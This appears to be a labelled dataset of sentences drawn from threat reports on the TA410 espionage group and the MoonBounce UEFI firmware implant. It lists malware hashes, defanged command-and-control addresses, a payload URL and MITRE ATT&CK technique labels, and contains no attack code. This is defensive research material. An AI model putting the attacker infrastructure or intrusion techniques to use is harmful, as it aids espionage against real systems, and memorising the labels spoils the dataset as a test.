{"sentence": "C05B4AD7A3322917E17710842FB88A090198D51FN/AWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DB2DF1BDF8145CB8ABA3A2026A3CC3EF4F1762BEphx.dllWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EDE2AB811311FC011B1E89C5A0B7A60C123B7398hidmouse.sysWin64/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "7AA35BA7030AFCD271436DE8173D7B2F317A1BFClibcurl.dllWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "A5C02ABE698300F3DE0B7CC7F0856652753831DAlibcurl.dllWin32/Agent.TWILookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "613C4AFAE8F5F80F22DCD1827E3230FCA361ADA5libcurl.dllWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UKDLookBack trojanized libcurl loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "859CD6DFDADAB3D6427C6C1C29581CB2094D648Fmeterpreter.exeWin32/Rozena.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "CPMetasploit Meterpreter backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DBEA7F0C0D2BF8BC365A2D1572CA1538FE8FB9A3responsor.datWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ULLFlowCloud fcClientDLL final stage backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ADD5B4FD9AEA6A38B5A8941286BC9AA4FE23BD20絆邧坋蔡趕口昴.doc Win32/Exploit.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TYMalicious Royal Road document.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "7BA42061568FF6D9CA5FE5360DCE74C25EA48ADAN/AWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ACKQPacked Tendyron downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "D81215890703C48B8EA07A1F50FEC1A6CA9DF88BN/AWin32/TrojanDownloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "FLIUnpacked Tendyron downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "F359D3C074135BBCA9A4C98A6B6544690EDAE93DOnKeyToken_KEB.dllWin32/Injector.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ELGATendyron malicious DLL.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
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{"sentence": "AOX4 network shellcode.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "BC11DC8D86A457A07CFE46B5F2EF6598B83C8A1Fm.exeWin32/Injector.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EMVAKorplug dropper.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "C369E1466F66744AA0E658588E7CF2C051EE842Fqrt.dllWin32/Injector.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EMVAKorplug loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "B868764C46BADC152667E9128375BA4F8D936559qrt.dll.usbN/AKorplug encrypted payload.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "BDECA89B4F39E6702CE6CBBC9E6D69F6BBAB01C8N/AN/AKorplug decrypted payload.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "5379FBB0E02694C524463FDF7F267A7361ECDD68sll.exeMSIL/TrojanDownloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "GPSQuasarRAT downloader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "6CC6170977327541F8185288BB9B1B81F56D3FD0PresentationCache.exeMSIL/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TZGQuasarRAT loader.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "D95185A4A3F8512D92F69D2ED7B8743638C54BE8N/AMSIL/Spy.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "AESQuasarRAT backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "BE7F0E41CD514561AED43B07AA9F5F0842BF876CHTra.exeWin32/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Hucline.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ABHUC Packet Transmitter (HTran).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "7F663F50E9D6376715AEB3AB66DEDE038258EF6CHTran13.exeWin32/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "SHUC Packet Transmitter (HTran).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "BEDA1224B3BB9F98F95FF7757D2687F4D9F4B53Aevent.exeWin32/Agent.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "UJNSimple cmd.exe-based backdoor compiled with MingW. 2B61E7C63A0A33AAC4CF7FE0CEB462CF6DACC080htran.exeWin32/HackTool.Hucline.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "EF3C796652141B8A68DCCF488159E96903479C29htran_f-secury.exeWin32/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "6B547C244A3086B5B6EA2B3A0D9594BBE54AE06Binbt.zipPython/HackTool.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "JEXE masquerading as ZIP.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "This is a Python network scanner (compiled with PyInstaller).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "4CDCE3AF614C2A5E60E71F1205812AB129C0955Bmsd017.exePython/Exploit.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "MS17-010.BThis is a Python scanner (compiled with PyInstaller) for the vulnerability MS17-010 (EternalBlue).", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Certificates Serial number 0F8B600FF1882E Thumbprint02ED6A578C575C8D9C72398E790354B095BB07BC Subject CNHangzhou Leishite Laser Technology Co., Ltd. Subject OHangzhou Leishite Laser Technology Co., Ltd. Subject LHangzhou Subject SZhejiang Subject CCN Valid from2012-03-29 09:07:04 UTC Valid to2014-04-02 06:24:19 UTC Serial number 4ED8730F4E1B8558CD1CB0107B5F776B Thumbprint850821D88A4475F0310F10FBA806353A4113D252 Subject CN北京和 赢讯时 科技有限公司 (translation: Beijing Heyingxunshi Technology Co., Ltd.) Subject O北京和 赢讯时 科技有限公司 (translation: Beijing Heyingxunshi Technology Co., Ltd.) Subject OU研 发 部 ( R&D Department) Subject S北京市 (Beijing)", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Subject CCN Valid from2019-11-13 00:00:00 UTC Valid to2020-11-12 23:59:59 UTC Network DomainIPFirst seenDetails 43.254.216[.]1042020-06Delivery server 45.124.115[.]1032020-08Delivery server 161.82.181[.]42020-12Delivery server 43.254.219[.]1532020-07X4 C&C server 154.223.141[.]362020-06HTran C&C server 103.139.2[.]932020-10Tendyron C&C server cahe.microsofts[.]comQuasarRAT C&C server ffca.caibi379[.]comQuasarRAT downloader C&C server smtp.nsfwgo[.]comKorplug C&C server 45.124.115[.]1032020-06LookBack C&C server 185.225.19[.]172021-01LookBack C&C server 94.158.245[.]2492020-03LookBack C&C server 5.252.179[.]2272021-03LookBack C&C server 222.186.151[.]1412019-11FlowCloud C&C server 47.111.22[.]652020-09FlowCross C&C server 114.55.109[.]1992020-05FlowCloud C&C server dlaxpcmghd[.]com185.225.17[.]392020-09LookBack C&C server wwww.dlmum[.]comN/AFlowCloud C&C server MITRE ATT&CK techniques This table was built using version 9 of the MITRE ATT&CK framework.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "TacticIDNameDescription Resource DevelopmentT1587.001Develop Capabilities: MalwareTA410 develops LookBack and FlowCloud.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1588.003Obtain Capabilities: Code Signing CertificatesTA410 uses stolen code-signing certificates.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1588.005Obtain Capabilities: ExploitsTA410 had exploits for ProxyLogon and ProxyShell.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Initial AccessT1190Exploit Public-Facing ApplicationTA410 has exploited web server vulnerabilities for initial access.", "labels": ["T1190"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1566.001Phishing: Spearphishing AttachmentTA410 uses malicious RTF and DOCX attachments to compromise victims.", "labels": ["T1566.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ExecutionT1106Native APIFlowCloud makes extensive use of the Windows API to execute commands and launch processes.", "labels": ["T1106"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1129Shared ModulesTA410’s backdoors can load DLLs and execute their payloads.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1203Exploitation for Client ExecutionTA410 uses Royal Road RTF documents to compromise victims.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1559.001Inter-Process Communication: Component Object ModelFlowCloud uses COM interfaces to schedule tasks and perform WMI queries.", "labels": ["T1047", "T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1047Windows Management InstrumentationTA410 uses WMI for lateral movement and information gathering.", "labels": ["T1047"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "PersistenceT1053.005Scheduled Task/Job: Scheduled TaskFlowCloud creates a scheduled task for persistence.", "labels": ["T1053.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1505.003Server Software Component: Web ShellTA410 plants webshells on vulnerable web servers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Windows ServiceFlowCloud can be configured to create a service for persistence.", "labels": ["T1543.003"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Defense EvasionT1027Obfuscated Files or InformationFlowCloud files are distributed and stored in encrypted form.", "labels": ["T1027"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1036.004Masquerading: Masquerade Task or ServiceThe driver component of FlowCloud masquerades as a mouse driver service.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1036.005Masquerading:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Match Legitimate Name or LocationFiles named after legitimate utilities are written into the %ProgramFiles%\\MSBuild\\Microsoft\\Expression\\Blend\\msole\\ subdirectory.", "labels": ["T1036.005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1014RootkitFlowCloud uses a rootkit to hide its network traffic and processes from system utilities.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1055.001Process Injection: Dynamic-link Library InjectionFlowCloud uses both regular and reflective DLL injection.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "It also manually loads some DLLs, bypassing calls to LoadLibrary.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1055Process InjectionTA410’s backdoors perform process injection to masquerade as harmless processes.", "labels": ["T1055"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1055.003Process Injection: Thread Execution HijackingOne of FlowCloud’s DLLs replaces instructions in the loading process to make it execute code written in its memory.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1055.012Process Injection: Process HollowingFlowCloud uses module stomping to hide the loading of its main backdoor.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1140Deobfuscate/Decode Files or InformationMultiple TA410 backdoors communicate with their C&C through encrypted and obfuscated channels.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1574.002Hijack Execution Flow: DLL Side-LoadingFlowCloud uses DLL Side-Loading to launch its second-stage dropper.", "labels": ["T1574.002"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1497Virtualization/Sandbox EvasionSome versions of FlowCloud use the Pafish utility to detect virtualization, sandboxes, and debuggers.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1134.002Access Token Manipulation: Create Process with TokenFlowCloud can create processes using tokens acquired from legitimate processes.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1070.004Indicator Removal on Host: File DeletionFlowCloud deletes its rootkit’s executable after launching it.", "labels": ["T1070.004"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1070.006Indicator Removal on Host: TimestompFlowCloud backdates some files and services to 2013.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DiscoveryT1010Application Window DiscoveryWhen logging mouse events, FlowCloud gathers information about the application running in the foreground.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "DiscoveryMultiple TA410 backdoors can list running processes.", "labels": ["T1057"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1518Software DiscoveryFlowCloud uses the IShellAppManager COM object to list installed software.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1083File and Directory DiscoveryFlowCloud can search through connected file systems and obtain directory listings.", "labels": ["T1083"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1120Peripheral Device DiscoveryFlowCloud can list connected camera devices.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1016System Network Configuration DiscoveryFlowCloud can discover and use locally configured proxies.", "labels": ["T1090"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1012Query RegistryFlowCloud components use registry keys to signal each other.", "labels": ["T1012"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1115Clipboard DataFlowCloud registers a listener to steal clipboard data when it is changed.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "CollectionT1056Input CaptureFlowCloud logs mouse clicks.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1056.001Input Capture: KeyloggingFlowCloud records keystrokes.", "labels": ["T1056.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "CaptureFlowCloud takes screenshots at regular intervals.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1125Video CaptureFlowCloud uses OpenCV to take pictures using connected camera devices.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1123Audio CaptureFlowCloud has audio capture functionality.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1119 Automated CollectionFlowCloud automatically collects data based on timers and events.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1074.001Data Staged: Local Data StagingFlowCloud stores collected data in local SQLite databases prior to exfiltration.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1005Data from Local SystemFlowCloud can exfiltrate files from local file systems.", "labels": ["T1005"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1025Data from Removable MediaFlowCloud can exfiltrate files from removable drives.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1560.002Archive Collected Data: Archive via LibraryFlowCloud and LookBack use a statically linked zlib library to compress data.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1560.003Archive Collected Data: Archive via Custom MethodFlowCloud compresses some collected data by removing duplicates and similar screen captures.", "labels": ["T1113"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Command And ControlT1071.001Application Layer Protocol: Web ProtocolsLookBack and FlowCloud can send and receive data over HTTP.", "labels": ["T1071.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1095Non-Application Layer ProtocolLookBack can communicate over raw TCP sockets.", "labels": ["T1095"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1132.001Data Encoding: Standard EncodingFlowCloud uses Protobuf to encode C&C commands and configuration.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "T1132.002Data Encoding: Non-Standard EncodingLookBack encodes binary data using a custom hex-encoding method. T1573.001Encrypted Channel:", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "Symmetric CryptographyFlowCloud can use XOR, TEA, RC4 and a modified AES algorithm to encrypt traffic and files.", "labels": ["T1573.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ExfiltrationT1030Data Transfer Size LimitsFlowCloud uses local caches to stage data and exfiltrates their content when it reaches a size specified in its configuration.", "labels": ["T1074.001"], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "ImpactT1529System Shutdown/RebootFlowCloud can force a system crash or shutdown.", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "27 Apr 2022 - 03:00PM", "labels": [], "doc_title": "A lookback under the TA410 umbrella Its cyberespionage TTPs and activity"}
{"sentence": "What happened?", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "At the end of 2021, we were made aware of a UEFI firmware-level compromise through logs from our Firmware Scanner, which has been integrated into Kaspersky products since the beginning of 2019.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Further analysis has shown that a single component within the inspected firmware’s image was modified by attackers in a way that allowed them to intercept the original execution flow of the machine’s boot sequence and introduce a sophisticated infection chain.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "By examining the components of the rogue firmware and other malicious artefacts from the target’s network, we were able to reach the following conclusions:", "labels": ["T1027"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The inspected UEFI firmware was tampered with to embed a malicious code that we dub MoonBounce; Due to its emplacement on SPI flash which is located on the motherboard instead of the hard disk, the implant is capable of persisting in the system across disk formatting or replacement; The purpose of the implant is to facilitate the deployment of user-mode malware that stages execution of further payloads downloaded from the internet; The infection chain itself does not leave any traces on the hard drive, as its components operate in memory only, thus facilitating a fileless attack with a small footprint; We detected other non-UEFI implants in the targeted network that communicated with the same infrastructure which hosted the the stager’s payload; By assessing the combination of the above findings with network infrastructure fingerprints and other TTPs exhibited by the the attackers; to the best of our knowledge the intrusion set in question can be attributed to APT41, a threat actor that’s been widely reported to be Chinese-speaking; In this report we describe in detail how the MoonBounce implant works, how it is connected to APT41, and what other traces of activity related to Chinese-speaking actors we were able to observe in the compromised network that could indicate a connection to this threat actor and the underlying campaign.", "labels": ["T1027", "T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Revisiting the current state of the art in persistent attacks In the last year, there have been several public accounts on the ongoing trend of UEFI threats.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Notable examples include the UEFI bootkit used as part of the FinSpy surveillance toolset that we reported on, the work of our colleagues from ESET on the ESPectre bootkit, and a little-known threat activity that was discovered within government organisations in the Middle East, using a UEFI bootkit of its own (briefly mentioned in our APT trends report Q3 2021 and covered in more detail in a private APT report delivered to customers of our Threat Intelligence Portal).", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The common denominator of those three cases is the fact that the UEFI components targeted for infection reside on the ESP (EFI System Partition), a storage space designated for some UEFI components, typically based in the computer’s hard drive or SSD.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The most notable elements of the ESP are the Boot Manager and OS loader, both invoked during the machine’s boot sequence and which also happen to be the subject of tampering in the case of the aforementioned bootkits.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "While all of the above were seen in use by advanced actors, a different class of bootkits raises even higher concern.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This one is made up of implants found in the UEFI firmware within the SPI flash, a non-volatile storage external to the hard drive.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Such bootkits are not only stealthier (partially because of limited visibility by security products into this hardware component), but also more difficult to mitigate: flashing a clean firmware image in place of a malicious one can prove to be more difficult than formatting a hard drive and reinstalling an OS, which would typically eliminate ESP level threats.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "MoonBounce is notable for being the third publicly revealed case of an implant from the latter class of firmware-based rootkits.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Previous cases included LoJax and MosaicRegressor, which we reported on during October 2020.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In that sense, MoonBounce marks a particular evolution in this group of threats by presenting a more complicated attack flow in comparison to its predecessors and a higher level of technical competence by its authors, who demonstrate a thorough understanding of the finer details involved in the UEFI boot process.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Our discovery: a sophisticated implant within UEFI firmware The UEFI implant, which was detected in spring 2021 , was found to have been incorporated by the attackers into the CORE_DXE component of the firmware (also known as the DXE Foundation), which is called early on at the DXE (Driver Execution Environment) phase of the UEFI boot sequence.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Among other things, this component is responsible for initializing essential data structures and function interfaces, one of which is the EFI Boot Services Table – a set of pointers to routines that are part of the CORE_DXE image itself and are callable by other DXE drivers in the boot chain.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The source of the infection starts with a set of hooks that intercept the execution of several functions in the EFI Boot Services Table, namely AllocatePool, CreateEventEx and ExitBootServices.", "labels": ["T1106"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Those hooks are used to divert the flow of these functions to malicious shellcode that is appended by the attackers to the CORE_DXE image, which in turn sets up additional hooks in subsequent components of the boot chain, namely the Windows loader.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This multistage chain of hooks facilitates the propagation of malicious code from the CORE_DXE image to other boot components during system startup, allowing the introduction of a malicious driver to the memory address space of the Windows kernel.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This driver, which runs during the initial phases of the kernel’s execution, is in charge of deploying user-mode malware by injecting it into an svchost.exe process, once the operating system is up and running.", "labels": ["T1055"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Finally, the user mode malware reaches out to a hardcoded C&C URL (i.e. hxxp://mb.glbaitech[.]com/mboard.dll) and attempts to fetch another stage of the payload to run in memory, which we were not able to retrieve.", "labels": ["T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The diagram below contains the outline of the stages taken from the moment the hooked Boot Services are called in the context of the DXE Foundation’s execution until the user-mode malware is deployed and run during the Operating System’s execution.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The full description of each step in the diagram, along with the analysis of both the MoonBounce driver and user-mode malware can be found in the technical document released alongside this report.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Flow of MoonBounce execution from boot sequence to malware deployment in user space Note that at the time of writing we lack sufficient evidence to retrace how the UEFI firmware was infected in the first place.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The infection itself, however, is assumed to have occurred remotely.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "While previous UEFI firmware compromises (i.e. LoJax and MosaicRegressor) manifested as additions of DXE drivers to the overall firmware image on the SPI flash, the current case exhibits a much more subtle and stealthy technique where an existing firmware component is modified to alter its behaviour.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Notably, particular functions were modified with an inline hook, meaning the replacement of the function prologue with an instruction to divert execution to a function chosen by the attacker.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This form of binary instrumentation typically requires the attacker to obtain the original image, then parse and change it to introduce malicious logic.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This would be possible for an attacker having ongoing and remote access to the targeted machine.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Other pieces of malware on the radar In addition to MoonBounce, we found infections across multiple nodes in the same network by a known user-mode malware dubbed ScrambleCross, also known as SideWalk.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This is an in-memory implant, implemented as position-independent code, that can communicate to a C2 server in order to exchange information and stage the execution of additional plugins in memory, of which none has been sighted in the wild yet.", "labels": ["T1105"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "This malware was thoroughly covered by our colleagues at Trend Micro and ESET, so we will refer the reader to their excellent write-ups to understand its internals better.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "The position-independent code constituting ScrambleCross can be loaded in one of two ways, the first being a C++ DLL named StealthVector.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "It obtains the ScrambleCross shellcode by applying a modified ChaCha20 algorithm on an encrypted blob, which may reside as an additional file on disk or be embedded in the loader itself.", "labels": ["T1027"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "We detected both variants of this loader in the network in question.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "StealthVector gets loaded through the introduction of a modified benign system DLL, in which the import address table is patched to append the malware’s DLL as a dependency.", "labels": [], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "In one case, we observed such altered wbemcomn.dll (MD5: C3B153347AED27435A18E789D8B67E0A) file, which originally facilitates the functionality of WMI in Windows and was located in the directory %SYSTEM%\\wbem.", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "As a consequence, when the WMI service was initiated, the rogue version of this DLL forced the loading of a StealthVector image named wmiwk.dll.", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
{"sentence": "Appended IAT entry to a rogue wbemcomn.dll file which forces the loading of StealthVector upon initiation of the WMI service The table below specifies all instances of StealthVector that we detected in the targeted network, along with timestamp artefacts that might point to the date of their creation.", "labels": ["T1047"], "doc_title": "MoonBounce the dark side of UEFI firmware"}
